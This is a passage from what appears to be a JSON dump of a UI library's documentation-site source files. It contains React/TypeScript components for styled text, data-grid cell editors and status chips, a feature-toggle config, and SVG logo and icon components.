({\n        bgcolor: '#fff',\n        ...theme.applyDarkStyles({\n          bgcolor: 'primaryDark.800',\n        }),\n      })}\n    >\n      {views.map((item) => (\n        <ToggleButton\n          key={item}\n          value={item}\n          aria-label={item}\n          sx={[\n            {\n              color: 'grey.400',\n              [`&.${toggleButtonClasses.selected}`]: {\n                color: 'primary.500',\n              },\n            },\n            (theme) =>\n              theme.applyDarkStyles({\n                color: '#fff',\n                [`&.${toggleButtonClasses.selected}`]: {\n                  color: 'primary.300',\n                },\n              }),\n          ]}\n        >\n          {viewIcons[item]}\n        </ToggleButton>\n      ))}\n    </ToggleButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/typography/GradientText.tsx",
    "content": "import { PaletteColor, styled } from '@mui/material/styles';\n\ntype Color = 'primary' | 'error' | 'success' | 'warning';\n\nconst GradientText = styled('span')<{\n  color?: Color;\n}>(({ theme }) => ({\n  variants: [\n    ...(Object.entries((theme.vars || theme).palette) as Array<[Color, PaletteColor]>)\n      .filter(([color, value]) => color !== 'primary' && value && value[400])\n      .map(([color, value]) => ({\n        props: { color },\n        style: {\n          background: `linear-gradient(90deg, ${value[400]} 5%, ${value.main} 90%)`,\n        },\n      })),\n    {\n      props: {},\n      style: {\n        background: `linear-gradient(90deg, ${(theme.vars || theme).palette.primary[400]} 5%, ${(theme.vars || theme).palette.primary.main} 90%)`,\n        // `Webkit` has to come later\n        WebkitBackgroundClip: 'text',\n        WebkitTextFillColor: 'transparent',\n      },\n    },\n  ],\n}));\n\nexport default GradientText;\n"
  },
  {
    "path": "docs/src/components/x-grid/EditProgress.tsx",
    "content": "import * as React from 'react';\nimport { GridRenderEditCellParams, useGridApiContext } from '@mui/x-data-grid';\nimport { debounce } from '@mui/material/utils';\nimport { alpha } from '@mui/material/styles';\nimport Slider, { SliderValueLabelProps } from '@mui/material/Slider';\nimport Tooltip from '@mui/material/Tooltip';\n\nfunction ValueLabelComponent(props: SliderValueLabelProps) {\n  const { children, open, value } = props;\n  return (\n    <Tooltip open={open} enterTouchDelay={0} placement=\"top\" title={value} arrow>\n      {children}\n    </Tooltip>\n  );\n}\n\nexport default function EditProgress(props: GridRenderEditCellParams) {\n  const { id, value, field } = props;\n  const apiRef = useGridApiContext();\n  const [valueState, setValueState] = React.useState(Number(value));\n\n  const updateCellEditProps = React.useCallback(\n    (newValue: number | number[]) => {\n      apiRef.current.setEditCellValue({ id, field, value: newValue });\n    },\n    [field, id, apiRef],\n  );\n\n  const debouncedUpdateCellEditProps = React.useMemo(\n    () => debounce(updateCellEditProps, 60),\n    [updateCellEditProps],\n  );\n\n  const handleChange = (event: Event, newValue: number) => {\n    setValueState(newValue);\n    debouncedUpdateCellEditProps(newValue);\n  };\n\n  React.useEffect(() => {\n    setValueState(Number(value));\n  }, [value]);\n\n  const handleRef = (element: any) => {\n    if (element) {\n      const input = element.querySelector('input') as null | HTMLInputElement;\n      if (input) {\n        input.focus();\n      }\n    }\n  };\n\n  return (\n    <Slider\n      ref={handleRef}\n      sx={[\n        {\n          p: 0,\n          height: '100%',\n          borderRadius: '0px',\n          '& .MuiSlider-rail': {\n            bgcolor: 'grey.100',\n          },\n          '& .MuiSlider-track': {\n            border: 0,\n            ...(valueState < 0.3 && {\n              bgcolor: 'error.500',\n            }),\n            ...(valueState >= 0.3 &&\n              valueState <= 0.7 && {\n                bgcolor: 'warning.500',\n              }),\n            ...(valueState > 0.7 && {\n              bgcolor: 'success.500',\n            }),\n          },\n          '& .MuiSlider-thumb': {\n            cursor: 'col-resize',\n            height: '100%',\n            width: 5,\n            borderRadius: '0px',\n            marginTop: 0,\n            backgroundColor: alpha('#000000', 0.2),\n          },\n        },\n        (theme) =>\n          theme.applyDarkStyles({\n            '& .MuiSlider-rail': {\n              bgcolor: 'primaryDark.700',\n            },\n            '& .MuiSlider-track': {\n              ...(valueState < 0.3 && {\n                bgcolor: 'error.800',\n              }),\n              ...(valueState >= 0.3 &&\n                valueState <= 0.7 && {\n                  bgcolor: 'warning.800',\n                }),\n              ...(valueState > 0.7 && {\n                bgcolor: 'success.800',\n              }),\n            },\n          }),\n      ]}\n      value={valueState}\n      max={1}\n      step={0.00001}\n      onChange={handleChange}\n      slots={{\n        valueLabel: ValueLabelComponent,\n      }}\n      valueLabelDisplay=\"auto\"\n      valueLabelFormat={(newValue) => `${(newValue * 100).toLocaleString()} %`}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/x-grid/EditStatus.tsx",
    "content": "import {\n  GridRenderEditCellParams,\n  useGridRootProps,\n  useGridApiContext,\n  GridEditModes,\n} from '@mui/x-data-grid';\nimport Select, { SelectProps } from '@mui/material/Select';\nimport { MenuProps } from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport ReportProblemIcon from '@mui/icons-material/ReportProblem';\nimport InfoIcon from '@mui/icons-material/Info';\nimport AutorenewIcon from '@mui/icons-material/Autorenew';\nimport DoneIcon from '@mui/icons-material/Done';\n\nconst STATUS_OPTIONS = ['Open', 'PartiallyFilled', 'Filled', 'Rejected'];\n\nexport default function EditStatus(props: GridRenderEditCellParams) {\n  const { id, value, field } = props;\n  const rootProps = useGridRootProps();\n  const apiRef = useGridApiContext();\n\n  const handleChange: SelectProps['onChange'] = async (event) => {\n    const isValid = await apiRef.current.setEditCellValue({ id, field, value: event.target.value });\n\n    if (isValid && rootProps.editMode === GridEditModes.Cell) {\n      apiRef.current.stopCellEditMode({ id, field, cellToFocusAfter: 'below' });\n    }\n  };\n\n  const handleClose: MenuProps['onClose'] = (event, reason) => {\n    if (reason === 'backdropClick') {\n      apiRef.current.stopCellEditMode({ id, field, ignoreModifications: true });\n    }\n  };\n\n  return (\n    <Select\n      value={value}\n      onChange={handleChange}\n      MenuProps={{\n        onClose: handleClose,\n      }}\n      autoFocus\n      fullWidth\n      open\n    >\n      {STATUS_OPTIONS.map((option) => {\n        let IconComponent: any = null;\n        if (option === 'Rejected') {\n          IconComponent = ReportProblemIcon;\n        } else if (option === 'Open') {\n          IconComponent = InfoIcon;\n        } else if (option === 'PartiallyFilled') {\n          IconComponent = AutorenewIcon;\n        } else if (option === 'Filled') {\n          IconComponent = DoneIcon;\n        }\n\n        let label = option;\n        if (option === 'PartiallyFilled') {\n          label = 'Partially Filled';\n        }\n\n        return (\n          <MenuItem\n            key={option}\n            value={option}\n            dense\n            sx={{ '& .MuiListItemIcon-root': { minWidth: 24, '& > svg': { fontSize: '1rem' } } }}\n          >\n            <ListItemIcon>\n              <IconComponent />\n            </ListItemIcon>\n            <ListItemText primary={label} sx={{ overflow: 'hidden' }} />\n          </MenuItem>\n        );\n      })}\n    </Select>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/x-grid/ProgressBar.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\n\ninterface ProgressBarProps {\n  value: number;\n}\n\nconst ProgressBar = React.memo(function ProgressBar(props: ProgressBarProps) {\n  const { value } = props;\n  const valueInPercent = value * 100;\n\n  return (\n    <Box\n      sx={(theme) => ({\n        lineHeight: 1,\n        position: 'relative',\n        p: 0.5,\n        borderRadius: '3px',\n        width: '100%',\n        bgcolor: 'grey.100',\n        ...theme.applyDarkStyles({\n          bgcolor: 'primaryDark.700',\n        }),\n      })}\n    >\n      <Box\n        sx={{ fontWeight: 'bold', color: 'text.primary', position: 'relative', zIndex: 1 }}\n      >{`${valueInPercent.toLocaleString()} %`}</Box>\n      <Box\n        sx={(theme) => ({\n          borderRadius: '3px',\n          position: 'absolute',\n          height: '100%',\n          left: 0,\n          top: 0,\n          ...(valueInPercent < 30 && {\n            bgcolor: 'error.200',\n          }),\n          ...(valueInPercent >= 30 &&\n            valueInPercent <= 70 && {\n              bgcolor: 'warning.400',\n            }),\n          ...(valueInPercent > 70 && {\n            bgcolor: 'success.300',\n          }),\n          width: `${valueInPercent}%`,\n          ...theme.applyDarkStyles({\n            ...(valueInPercent < 30 && {\n              bgcolor: 'error.700',\n            }),\n            ...(valueInPercent >= 30 &&\n              valueInPercent <= 70 && {\n                bgcolor: 'warning.900',\n              }),\n            ...(valueInPercent > 70 && {\n              bgcolor: 'success.800',\n            }),\n          }),\n        })}\n      />\n    </Box>\n  );\n});\n\nexport default ProgressBar;\n"
  },
  {
    "path": "docs/src/components/x-grid/Status.tsx",
    "content": "import * as React from 'react';\nimport { alpha } from '@mui/material/styles';\nimport Chip from '@mui/material/Chip';\n\ninterface StatusProps {\n  status: string;\n}\n\nconst Status = React.memo((props: StatusProps) => {\n  const { status } = props;\n  let label = status;\n  if (status === 'PartiallyFilled') {\n    label = 'Partial';\n  }\n  return (\n    <Chip\n      size=\"small\"\n      label={label}\n      variant=\"outlined\"\n      sx={(theme) => ({\n        lineHeight: 1,\n        fontSize: '10px',\n        fontWeight: 'bold',\n        ...(status === 'Open' && {\n          borderColor: 'primary.500',\n          bgcolor: alpha(theme.palette.primary[500], 0.1),\n          color: 'primary.600',\n        }),\n        ...(status === 'Filled' && {\n          borderColor: 'success.500',\n          bgcolor: alpha(theme.palette.success[500], 0.1),\n          color: 'success.800',\n        }),\n        ...(status === 'PartiallyFilled' && {\n          borderColor: 'warning.600',\n          bgcolor: alpha(theme.palette.warning[500], 0.1),\n          color: 'warning.900',\n        }),\n        ...(status === 'Rejected' && {\n          borderColor: 'error.500',\n          bgcolor: alpha(theme.palette.error[500], 0.1),\n          color: 'error.600',\n        }),\n        ...theme.applyDarkStyles({\n          ...(status === 'Open' && {\n            color: 'primary.300',\n          }),\n          ...(status === 'Filled' && {\n            color: 'success.500',\n          }),\n          ...(status === 'PartiallyFilled' && {\n            color: 'warning.300',\n          }),\n          ...(status === 'Rejected' && {\n            color: 'error.400',\n          }),\n        }),\n      })}\n    />\n  );\n});\n\nexport default Status;\n"
  },
  {
    "path": "docs/src/featureToggle.ts",
    "content": "export default {\n  enable_website_banner: true,\n  enable_docsnav_banner: true,\n  enable_job_banner: false,\n};\n"
  },
  {
    "path": "docs/src/icons/RootSvg.tsx",
    "content": "import { styled, Theme } from '@mui/material/styles';\nimport { SxProps } from '@mui/system';\n\nexport type RootSvgProps<P = unknown> = Omit<React.SVGProps<SVGSVGElement>, 'ref'> & {\n  sx?: SxProps<Theme>;\n  ref?: React.Ref<SVGSVGElement>;\n} & P;\n\nconst Svg = styled('svg')({\n  verticalAlign: 'bottom',\n});\n\nexport default Svg;\n"
  },
  {
    "path": "docs/src/icons/SvgBaseUiLogo.tsx",
    "content": "import RootSvg, { RootSvgProps } from 'docs/src/icons/RootSvg';\n\nexport default function SvgBaseUiLogo(props: RootSvgProps) {\n  return (\n    <RootSvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width={24}\n      height={24}\n      viewBox=\"0 0 24 32\"\n      fill=\"none\"\n      {...props}\n    >\n      <path\n        d=\"M13.3806 8.99097C19.0272 9.33926 23.4996 14.0299 23.4998 19.7644C23.4998 25.5583 18.9351 30.2844 13.2058 30.5457V9.17652L13.2097 9.13355C13.2286 9.03885 13.3093 8.98682 13.3806 8.99097Z\"\n        fill=\"black\"\n      />\n      <path\n        d=\"M0.5 0.512695C6.18983 0.800794 10.7939 5.98047 10.7939 12.4238V30.5449C5.10434 30.2567 0.500231 25.0788 0.5 18.6357V0.512695Z\"\n        fill=\"black\"\n      />\n    </RootSvg>\n  );\n}\n\nexport const baseSvgLogoString = `<svg width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n<path d=\"M49.0527 31.5786C70.4148 32.8963 87.334 50.6394 87.334 72.3335C87.3338 94.7185 69.3211 112.892 47 113.16V33.5835C47 32.4248 47.9364 31.51 49.0527 31.5786Z\" fill=\"black\" stroke=\"black\"/>\n<path d=\"M0.5 0.506836C22.7786 0.801705 40.833 20.7709 40.833 45.4668V113.159C18.5545 112.864 0.500045 92.8957 0.5 68.2002V0.506836Z\" fill=\"black\" stroke=\"black\"/>\n</svg>`;\n\nexport const baseSvgWordmarkString = `<svg width=\"101\" height=\"24\" viewBox=\"0 0 101 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n<path d=\"M10.5332 7.5C15.0034 7.76065 18.4999 11.2625 18.5 15.4922C18.5 19.7323 14.9852 23.2401 10.5 23.4844V7.51465C10.5005 7.51363 10.5022 7.51125 10.5049 7.50879C10.5075 7.50638 10.5106 7.50347 10.5146 7.50195C10.5184 7.50059 10.5246 7.49953 10.5332 7.5Z\" fill=\"black\" stroke=\"black\"/>\n<path d=\"M0.5 0.516602C4.93533 0.793268 8.4998 4.72502 8.5 9.59961V23.4824C4.06467 23.2057 0.50017 19.2749 0.5 14.4004V0.516602Z\" fill=\"black\" stroke=\"black\"/>\n<path d=\"M39.3827 16.6216C39.3827 21.1351 36.9145 23.8919 33.4318 23.8919C31.6767 23.8919 30.0861 23.1622 29.0714 21.7838V23.6216H26V4H29.2908V11.2973C30.3329 9.91892 31.8412 9.40541 33.4866 9.40541C37.1065 9.40541 39.3827 12.1622 39.3827 16.6216ZM36.0096 16.6216C36.0096 13.7027 34.7207 11.8919 32.5816 11.8919C30.5249 11.8919 29.2085 13.8108 29.2085 16.6216C29.2085 19.4595 30.5523 21.3784 32.6365 21.3784C34.7207 21.3784 36.0096 19.5405 36.0096 16.6216ZM49.4676 23.6216C49.3854 23.0811 49.3579 22.5135 49.3305 21.8108C48.1513 23.2162 46.8076 23.8919 44.5863 23.8919C41.46 23.8919 39.6775 22.3514 39.6775 19.7568C39.6775 15.2973 45.3541 15.2432 48.9466 14.8378V14.2432C48.9466 12.5405 48.0965 11.5946 46.3688 11.5946C44.5863 11.5946 43.599 12.4595 43.5716 13.9459H40.1985C40.3082 11.027 42.694 9.2973 46.3688 9.2973C50.8662 9.2973 52.1551 11.6216 52.1551 15.3514V19.2432C52.1551 20.7838 52.21 22.1351 52.4568 23.6216H49.4676ZM48.9466 17.0541C46.4785 17.3784 43.078 17.3243 43.078 19.7027C43.078 20.8919 43.9281 21.6486 45.4364 21.6486C47.4657 21.6486 48.9466 20.6757 48.9466 17.6486V17.0541ZM56.4004 19.1622C56.4004 20.8378 57.4425 21.6757 59.417 21.6757C60.9801 21.6757 61.9948 21.027 61.9948 19.9459C61.9948 18.5676 60.4043 18.1892 58.5943 17.7568C56.181 17.1892 53.329 16.5676 53.329 13.5135C53.329 10.973 55.6326 9.2973 59.225 9.2973C62.9821 9.2973 65.0937 10.8919 65.0937 13.9459H61.8303C61.7754 12.2973 60.8979 11.6216 59.1153 11.6216C57.6619 11.6216 56.7295 12.2432 56.7295 13.2432C56.7295 14.7568 58.8137 15.0811 60.9253 15.6216C63.1466 16.1892 65.3953 17 65.3953 19.6757C65.3953 22.3514 63.0643 24 59.3896 24C55.3858 24 53.0822 22.3243 53.0273 19.1622H56.4004ZM65.6057 16.5946C65.6057 12.3784 68.2932 9.2973 72.5439 9.2973C75.1491 9.2973 76.959 10.4595 77.9463 12.1622C78.7964 13.6216 79.0706 15.4324 79.0706 17.5946H69.0062C69.0611 19.9459 70.2677 21.6216 72.5713 21.6216C74.0796 21.6216 75.1217 20.8649 75.5604 19.4595H79.0432C78.2754 22.4865 75.9718 24 72.5439 24C67.9916 24 65.6057 21.1622 65.6057 16.5946ZM75.725 15.2162C75.5604 12.8649 74.1618 11.6486 72.3793 11.6486C70.5694 11.6486 69.1433 12.8649 68.9514 15.2162H75.725ZM92.7727 21.8108C91.6758 23.2703 89.9207 23.8919 88.3027 23.8919C86.4653 23.8919 85.1764 23.1892 84.2989 22C83.6133 21.0541 83.4762 19.5946 83.4762 17.5946V9.67568H86.7396V17.4865C86.7396 19.5405 87.0687 21.4324 89.3448 21.4324C90.3321 21.4324 91.1273 21.0811 91.6758 20.3514C92.2243 19.6216 92.5534 18.4595 92.5534 16.7568V9.67568H95.8442V23.6216H92.7727V21.8108ZM97.7092 9.67568H101V23.6216H97.7092V9.67568ZM97.7092 4H101V7.27027H97.7092V4Z\" fill=\"black\"/>\n</svg>`;\n"
  },
  {
    "path": "docs/src/icons/SvgHamburgerMenu.tsx",
    "content": "import RootSvg, { RootSvgProps } from 'docs/src/icons/RootSvg';\n\nexport default function SvgHamburgerMenu(props: RootSvgProps) {\n  return (\n    <RootSvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width={18}\n      height={18}\n      viewBox=\"0 0 16 16\"\n      fill=\"none\"\n      {...props}\n    >\n      <rect x={1} y={5} width={14} height={1.5} rx={1} fill=\"#007FFF\" />\n      <rect x={1} y={9} width={14} height={1.5} rx={1} fill=\"#007FFF\" />\n    </RootSvg>\n  );\n}\n"
  },
  {
    "path": "docs/src/icons/SvgMaterialDesign.tsx",
    "content": "import RootSvg, { RootSvgProps } from 'docs/src/icons/RootSvg';\n\nfunction SvgMaterialDesign(props: RootSvgProps) {\n  return (\n    <RootSvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width={24}\n      height={24}\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      {...props}\n    >\n      <circle cx={12} cy={12} r={12} fill=\"#737373\" />\n      <path fill=\"#BDBDBD\" d=\"M4 4h16v16H4z\" />\n      <path fillRule=\"evenodd\" clipRule=\"evenodd\" d=\"M12 20l8-16H4l8 16z\" fill=\"#fff\" />\n    </RootSvg>\n  );\n}\n\nexport default SvgMaterialDesign;\n"
  },
  {
    "path": "docs/src/icons/SvgMuiLogomark.tsx",
    "content": "import RootSvg, { RootSvgProps } from 'docs/src/icons/RootSvg';\n\nexport default function SvgMuiLogomark(props: RootSvgProps) {\n  return (\n    <RootSvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width={24}\n      height={24}\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      {...props}\n    >\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        fill=\"#0073E6\"\n        d=\"M24 5.601V1.592a.344.344 0 0 0-.514-.298l-2.64 1.508a.688.688 0 0 0-.346.597v4.009c0 .264.285.43.514.298l2.64-1.508A.688.688 0 0 0 24 5.6ZM.515 1.295l7.643 4.383a.688.688 0 0 0 .684 0l7.643-4.383a.344.344 0 0 1 .515.298v12.03c0 .235-.12.453-.319.58l-4.65 2.953 3.11 1.832c.22.13.495.127.713-.009l4.61-2.878a.344.344 0 0 0 .161-.292v-4.085c0-.254.14-.486.362-.606l2.507-1.346a.344.344 0 0 1 .506.303v7.531c0 .244-.13.47-.34.593l-7.834 4.592a.688.688 0 0 1-.71-.009l-5.953-3.681A.344.344 0 0 1 9 18.808v-3.624c0-.115.057-.222.153-.286l4.04-2.694a.688.688 0 0 0 .307-.572v-4.39a.137.137 0 0 0-.208-.117l-4.44 2.664a.688.688 0 0 1-.705.002L3.645 7.123a.138.138 0 0 0-.208.118v7.933a.344.344 0 0 1-.52.295L.5 14.019C.19 13.833 0 13.497 0 13.135V1.593c0-.264.286-.43.515-.298Z\"\n      />\n    </RootSvg>\n  );\n}\n\nexport const muiSvgLogoString = `<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" fill=\"none\"><path fill=\"#0073E6\" fill-rule=\"evenodd\" d=\"M24 5.601V1.592a.344.344 0 0 0-.514-.298l-2.64 1.508a.688.688 0 0 0-.346.597v4.009c0 .264.285.43.514.298l2.64-1.508A.688.688 0 0 0 24 5.6ZM.515 1.295l7.643 4.383a.688.688 0 0 0 .684 0l7.643-4.383a.344.344 0 0 1 .515.298v12.03c0 .235-.12.453-.319.58l-4.65 2.953 3.11 1.832c.22.13.495.127.713-.009l4.61-2.878a.344.344 0 0 0 .161-.292v-4.085c0-.254.14-.486.362-.606l2.507-1.346a.344.344 0 0 1 .506.303v7.531c0 .244-.13.47-.34.593l-7.834 4.592a.688.688 0 0 1-.71-.009l-5.953-3.681A.344.344 0 0 1 9 18.808v-3.624c0-.115.057-.222.153-.286l4.04-2.694a.688.688 0 0 0 .307-.572v-4.39a.137.137 0 0 0-.208-.117l-4.44 2.664a.688.688 0 0 1-.705.002L3.645 7.123a.138.138 0 0 0-.208.118v7.933a.344.344 0 0 1-.52.295L.5 14.019C.19 13.833 0 13.497 0 13.135V1.593c0-.264.286-.43.515-.298Z\" clip-rule=\"evenodd\"/></svg>`;\n\nexport const muiSvgWordmarkString = `<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"115\" height=\"37\" fill=\"none\"><path fill=\"#0073E6\" d=\"M11.995 12.023.753 5.441A.5.5 0 0 0 0 5.872v16.779a1.5 1.5 0 0 0 .728 1.286l3.515 2.109a.5.5 0 0 0 .757-.43v-11.27a.2.2 0 0 1 .3-.173l6.7 3.86a1 1 0 0 0 1 0l6.7-3.862a.2.2 0 0 1 .3.173v6.096a1 1 0 0 1-.477.853l-6.284 3.856a.5.5 0 0 0-.239.426v5.637a.5.5 0 0 0 .25.432l8.74 5.06a1 1 0 0 0 1.015-.007l11.51-6.906a1 1 0 0 0 .485-.857v-11.05a.5.5 0 0 0-.757-.43l-3.758 2.255a1 1 0 0 0-.485.857v5.65a.5.5 0 0 1-.243.43l-6.786 4.072a1 1 0 0 1-.962.037L17.5 28.5l7.015-4.209a1 1 0 0 0 .485-.857V5.872a.5.5 0 0 0-.753-.431l-11.242 6.582a1 1 0 0 1-1.01 0Z\"/><path fill=\"#0073E6\" d=\"M35 5.883v5.55a1 1 0 0 1-.486.858l-3.757 2.255a.5.5 0 0 1-.757-.43v-5.55a1 1 0 0 1 .485-.857l3.758-2.255a.5.5 0 0 1 .757.43Z\"/><path fill=\"#090B0B\" d=\"M50.38 28V9.8h4.498l7.566 10.504-3.328-.026L66.708 9.8h4.446V28h-4.966v-5.018c0-1.49.035-2.86.104-4.108.07-1.265.208-2.54.416-3.822l.52 1.612-5.642 7.28H59.87l-5.616-7.358.572-1.534a34.34 34.34 0 0 1 .416 3.744c.07 1.248.104 2.643.104 4.186V28H50.38Zm34.881.156c-1.768 0-3.336-.347-4.706-1.04-1.352-.693-2.409-1.655-3.172-2.886-.745-1.23-1.118-2.626-1.118-4.186V9.8h5.2v10.088c0 .763.165 1.43.494 2.002a3.43 3.43 0 0 0 1.352 1.326c.572.312 1.222.468 1.95.468.763 0 1.44-.156 2.028-.468a3.347 3.347 0 0 0 1.404-1.326c.347-.572.52-1.24.52-2.002V9.8h5.044v10.244c0 1.56-.38 2.955-1.144 4.186-.745 1.23-1.794 2.193-3.146 2.886-1.334.693-2.903 1.04-4.706 1.04ZM99.672 28v-4.316h4.186v-9.568h-4.186V9.8h13.494v4.316h-4.16v9.568h4.16V28H99.672Z\"/></svg>`;\n"
  },
  {
    "path": "docs/src/icons/SvgMuiLogotype.tsx",
    "content": "import RootSvg, { RootSvgProps } from 'docs/src/icons/RootSvg';\n\nexport default function SvgMuiLogomark(props: RootSvgProps) {\n  return (\n    <RootSvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 117 36\"\n      fill=\"none\"\n      sx={[\n        (theme) => ({\n          flexShrink: 0,\n          color: 'common.black',\n          ...theme.applyDarkStyles({\n            color: '#FFF',\n          }),\n        }),\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n      {...props}\n    >\n      <path\n        d=\"M11.59 10.73.75 4.43a.5.5 0 0 0-.75.44V22.4c0 .18.1.34.25.43l4.05 2.38a.5.5 0 0 0 .75-.43V13.34a.2.2 0 0 1 .3-.17l6.25 3.58a2 2 0 0 0 2-.01l6.1-3.57a.2.2 0 0 1 .3.17v5.6a1 1 0 0 1-.48.85l-6.28 3.86a.5.5 0 0 0-.24.43v5.64c0 .18.09.34.23.43l8.23 5.2a2 2 0 0 0 2.1.02l10.46-6.2a2 2 0 0 0 .98-1.73V16.63a.5.5 0 0 0-.76-.43l-3.31 2a2 2 0 0 0-.97 1.7v5.43a.5.5 0 0 1-.25.43l-6.19 3.65a2 2 0 0 1-2.04-.01l-3.33-2a.5.5 0 0 1-.02-.84l6.02-3.97a2 2 0 0 0 .9-1.67V4.87a.5.5 0 0 0-.75-.43l-10.7 6.29a2 2 0 0 1-2.01 0Z\"\n        fill=\"#007FFF\"\n      />\n      <path\n        d=\"M35 5.36v3.42a2 2 0 0 1-.94 1.7l-3.3 2.05a.5.5 0 0 1-.76-.43V8.52a2 2 0 0 1 1-1.73l3.25-1.86a.5.5 0 0 1 .75.43Z\"\n        fill=\"#007FFF\"\n      />\n      <path\n        d=\"M50.38 26.5V8.3h4.5l7.56 10.5-3.32-.02L66.7 8.3h4.44v18.2H66.2v-5.02c0-1.49.03-2.86.1-4.1.07-1.27.21-2.55.42-3.83l.52 1.61-5.64 7.28h-1.72l-5.62-7.35.58-1.54c.2 1.25.34 2.5.41 3.75.07 1.24.1 2.64.1 4.18v5.02h-4.96Zm34.88.16c-1.77 0-3.34-.35-4.7-1.04a7.87 7.87 0 0 1-3.18-2.89 7.92 7.92 0 0 1-1.11-4.19V8.3h5.2v10.09c0 .76.16 1.43.49 2 .33.57.78 1.01 1.35 1.33a4 4 0 0 0 1.95.46c.76 0 1.44-.15 2.03-.46.6-.32 1.07-.76 1.4-1.33.35-.57.52-1.24.52-2V8.3h5.05v10.24a7.78 7.78 0 0 1-4.3 7.08c-1.33.69-2.9 1.04-4.7 1.04Zm14.41-.16v-4.32h4.19v-9.56h-4.19V8.3h13.5v4.32H109v9.56h4.16v4.32h-13.5Z\"\n        fill=\"currentColor\"\n      />\n    </RootSvg>\n  );\n}\n"
  },
  {
    "path": "docs/src/icons/SvgMuiX.tsx",
    "content": "import RootSvg, { RootSvgProps } from 'docs/src/icons/RootSvg';\n\nexport default function SvgMuiX(props: RootSvgProps) {\n  return (\n    <RootSvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width={16}\n      height={16}\n      viewBox=\"0 0 16 16\"\n      fill=\"none\"\n      {...props}\n    >\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M8 7.748L4.15 14.415H1.585l3.849-6.667-2.566-4.444h2.566L8 7.748zm0 0l2.566 4.445h2.566l-2.566-4.445 3.849-6.666h-2.566L8 7.748z\"\n        fill=\"#265D97\"\n      />\n    </RootSvg>\n  );\n}\n"
  },
  {
    "path": "docs/src/icons/SvgStackOverflow.tsx",
    "content": "import SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\n\nexport default function SvgStackOverflow(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M19.04 20.04v-5.87h1.99V22H3v-7.83h2v5.87h14.05-.01ZM6.98 18.09h10.05v-1.96H6.99v1.96Zm.25-4.45 9.8 2 .42-1.89-9.8-2.02-.41 1.9-.01.01ZM8.5 9l9.07 4.15.84-1.78L9.34 7.2 8.5 9V9Zm2.53-4.38 7.69 6.28 1.27-1.49-7.69-6.28-1.26 1.49ZM16.01 0l-1.64 1.2 6 7.87L22 7.88 16 0Z\" />\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/src/icons/SvgStorybook.tsx",
    "content": "import RootSvg, { RootSvgProps } from 'docs/src/icons/RootSvg';\n\nexport default function SvgStorybook(props: RootSvgProps) {\n  return (\n    <RootSvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width={24}\n      height={24}\n      viewBox=\"0 0 24 24\"\n      fill=\"none\"\n      {...props}\n    >\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"m20.69 2.415-.002-.067a1.079 1.079 0 0 0-1.148-1.002l-1.192.073.09 2.46a.16.16 0 0 1-.156.165.163.163 0 0 1-.106-.034l-.8-.624-.948.711a.163.163 0 0 1-.227-.03l-.015-.024a.16.16 0 0 1-.017-.08l.103-2.415-11.85.733a1.076 1.076 0 0 0-1.015 1.11l.667 17.592c.021.557.47 1.005 1.033 1.03l14.451.642.049.001c.598 0 1.083-.48 1.083-1.071V2.415Zm-7.177 6.962c0 .417 2.838.217 3.219-.076 0-2.839-1.54-4.33-4.358-4.33-2.818 0-4.397 1.514-4.397 3.787 0 2.276 1.785 3.269 3.302 4.112 1.12.622 2.095 1.163 2.095 2.08 0 .606-.3.966-.96.966-.86 0-1.2-.434-1.16-1.911 0-.32-3.277-.42-3.377 0-.255 3.58 1.999 4.612 4.577 4.612 2.499 0 4.457-1.318 4.457-3.704 0-2.49-1.886-3.48-3.444-4.297-1.098-.575-2.032-1.066-2.032-1.934 0-.852.64-.966 1.02-.966.399 0 1.118.07 1.059 1.66Z\"\n        fill=\"#FF4785\"\n      />\n    </RootSvg>\n  );\n}\n"
  },
  {
    "path": "docs/src/icons/SvgTwinkle.tsx",
